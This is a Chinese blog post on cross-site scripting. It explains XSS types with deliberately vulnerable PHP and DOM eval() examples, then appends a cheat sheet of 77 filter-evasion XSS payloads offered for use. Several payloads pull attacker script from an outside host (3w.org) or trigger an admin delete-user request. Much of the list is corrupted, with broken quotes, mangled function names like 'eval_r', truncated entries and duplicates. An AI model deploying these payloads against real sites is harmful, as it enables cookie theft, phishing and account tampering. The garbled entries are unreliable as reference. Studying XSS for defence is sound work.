XSS

Posted 会跳的种子

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS相关的知识,希望对你有一定的参考价值。

先来首歌,边听边看。。。。


莫问今朝

敛青锋 还入鞘 散发弄月拢云罩
欢歌曾 盈耳绕 谁在舞姿眩狂草
一弦尽 风来扫 浊酒引得腹中烧
月独照 空叹寥 尽得轮回难破晓
莫问今朝 何事潦倒 来时怎知退时潮
不愿退却 无处可逃 可惜早已不年少
莫怨今朝 风骤路遥 世俗难免遇讽笑
把那过往 敛起一瓢 一饮而尽仰天啸
敛青锋 还入鞘 散发弄月拢云罩
欢歌曾 盈耳绕 谁在舞姿眩狂草
一弦尽 风来扫 浊酒引得腹中烧
月独照 空叹寥 尽得轮回难破晓
莫问今朝 何事潦倒 来时怎知退时潮
不愿退却 无处可逃 可惜早已不年少
莫怨今朝 风骤路遥 世俗难免遇讽笑
把那过往 敛起一瓢 一饮而尽仰天啸
莫问今朝 何事潦倒 来时怎知退时潮
不愿退却 无处可逃 可惜早已不年少
莫怨今朝 风骤路遥 世俗难免遇讽笑
把那过往 敛起一瓢 一饮而尽仰天啸


XSS

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染html文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

这里我们主要注意四点:

1、目标网站目标用户;

2、浏览器;

3、不被预期;

4、脚本。

二、XSS有什么危害?

当我们知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。

关于XSS有关危害,我这里中罗列一段列表,详细介绍不进行更多的赘述:

  • 挂马

  • 盗取用户Cookie。

  • DOS(拒绝服务)客户端浏览器。

  • 钓鱼攻击,高级的钓鱼技巧。

  • 删除目标文章、恶意篡改数据、嫁祸。

  • 劫持用户Web行为,甚至进一步渗透内网。

  • 爆发Web2.0蠕虫。

  • 蠕虫式的DDoS攻击。

  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据。。。

三、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

1、反射型XSS

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。

一个简单的例子:

http://www.a.com/xss/reflect.php的代码如下:

<?php

echo $_GET['x'];

?>

如果输入x的值未经任何过滤就直接输出,提交:

http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>

则alert()函数会在浏览器触发。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

http://www.a.com/xss/domxss.html代码如下:

<script>

eval(location.hash.substr(1));

</script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。

常见的输入点有:

document.URL

document.URLUnencoded

document.location

document.referrer

window.location

window.name

xhr请求回来的数据

document.cookie

表单项的值

常见的输出点有:

直接输出html内容,如:

document.write(...)

document.writeln(...)

document.body.innerHtml=...

直接修改DOM树(包括DHTML)如:

document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)

document.attachEvent(...)

document.create...(...)

document.execCommand(...)

document.body. ...(直接通过body对象访问DOM)

window.attachEvent(...)

替换document URL,如:

document.location=...(以及直接赋值给location的href,host,hostname属性)

document.location.hostname=...

document.location.replace(...)

document.location.assign(...)

document.URL=...

window.navigate(...)

打开或修改新窗口,如:

document.open(...)

window.open(...)

window.location.href=...(以及直接赋值给location的href,host,hostname属性)

直接执行脚本,如:

eval(...)

window.execScript(...)

window.setInterval(...)

window.setTimeout(...)


-----------------附常见的XSS攻击方法--------------

(1)普通的XSS javascript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>


(2)IMG标签XSS使用JavaScript命令

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>


(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>


(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>


(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>


(6)修正缺陷IMG标签

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>


(7)formCharCode标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>


(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S')>


(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>


(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>


(11)嵌入式标签,将Javascript分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>


(12)嵌入式编码标签,将Javascript分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>


(13)嵌入式换行符

<IMG SRC=”jav ascript:alert(‘XSS’);”>


(14)嵌入式回车

<IMG SRC=”jav ascript:alert(‘XSS’);”>


(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=”javascript:alert(‘XSS‘)”>


(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>


(17)空字符

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out


(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out


(19)Spaces和meta前的IMG标签

<IMG SRC=” javascript:alert(‘XSS’);”>


(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>


(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>


(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>


(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>


(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>


(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>


(26)半开的HTML/JavaScript XSS

<IMG SRC=”javascript:alert(‘XSS’)”


(27)双开角括号

<iframe src=http://3w.org/XSS.html <


(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>


(29)换码过滤的JavaScript

\”;alert(‘XSS’);//


(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>


(31)Input Image

<INPUT SRC=”javascript:alert(‘XSS’);”>


(32)BODY Image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>


(33)BODY标签

<BODY(‘XSS’)>


(34)IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”>


(35)IMG Lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”>


(36)BGSOUND

<BGSOUND SRC=”javascript:alert(‘XSS’);”>


(37)STYLE sheet

<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>


(38)远程样式表

<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>


(39)List-style-image(列表式)

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS


(40)IMG VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS


(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>


(42)Iframe

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>


(43)Frame

<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>


(44)Table

<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>


(45)TD

<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>


(46)DIV background-image

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>


(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>


(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>


(49)STYLE属性分拆表达

<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>


(50)匿名STYLE(组成:开角号和一个字母开头)

<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>


(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>


(52)IMG STYLE方式

exppression(alert(“XSS”))’>


(53)STYLE background

<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>


(54)BASE

<BASE HREF=”javascript:alert(‘XSS’);//”>


(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>


(56)在flash中使用ActionScrpt可以混进你XSS的代码

a=”get”;

b=”URL(\”";

c=”javascript:”;

d=”alert(‘XSS’);\”)”;

eval_r(a+b+c+d);


(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

<HTML xmlns:xss>

<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>

<xss:xss>XSS</xss:xss>

</HTML>


(58)如果过滤了你的JS你可以在图片里添加JS代码来利用

<SCRIPT SRC=””></SCRIPT>


(59)IMG嵌入式命令,可执行任意命令

<IMG SRC=”http://www.XXX.com/a.php?a=b”>


(60)IMG嵌入式命令(a.jpg在同服务器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser


(61)绕符号过滤

<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>


(62)

<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>


(63)

<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>


(64)

<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>


(65)

<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>


(66)

<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>


(67)

<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>


(68)URL绕行

<A HREF=”http://127.0.0.1/”>XSS</A>


(69)URL编码

<A HREF=”http://3w.org”>XSS</A>


(70)IP十进制

<A HREF=”http://3232235521″>XSS</A>


(71)IP十六进制

<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>


(72)IP八进制

<A HREF=”http://0300.0250.0000.0001″>XSS</A>


(73)混合编码

<A HREF=”http://6 6.000146.0×7.147/”">XSS</A>


(74)节省[http:]

<A HREF=”//www.google.com/”>XSS</A>


(75)节省[www]

<A HREF=”http://google.com/”>XSS</A>


(76)绝对点绝对DNS

<A HREF=”http://www.google.com./”>XSS</A>


(77)javascript链接

<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>

以上是关于XSS的主要内容,如果未能解决你的问题,请参考以下文章

Pikachu靶场之XSS漏洞详解

什么是 XSS攻击?

Pikachu之XSS

web安全之XSS攻击原理及防范

web安全之XSS攻击原理及防范

Pikachu漏洞练习平台实验——XSS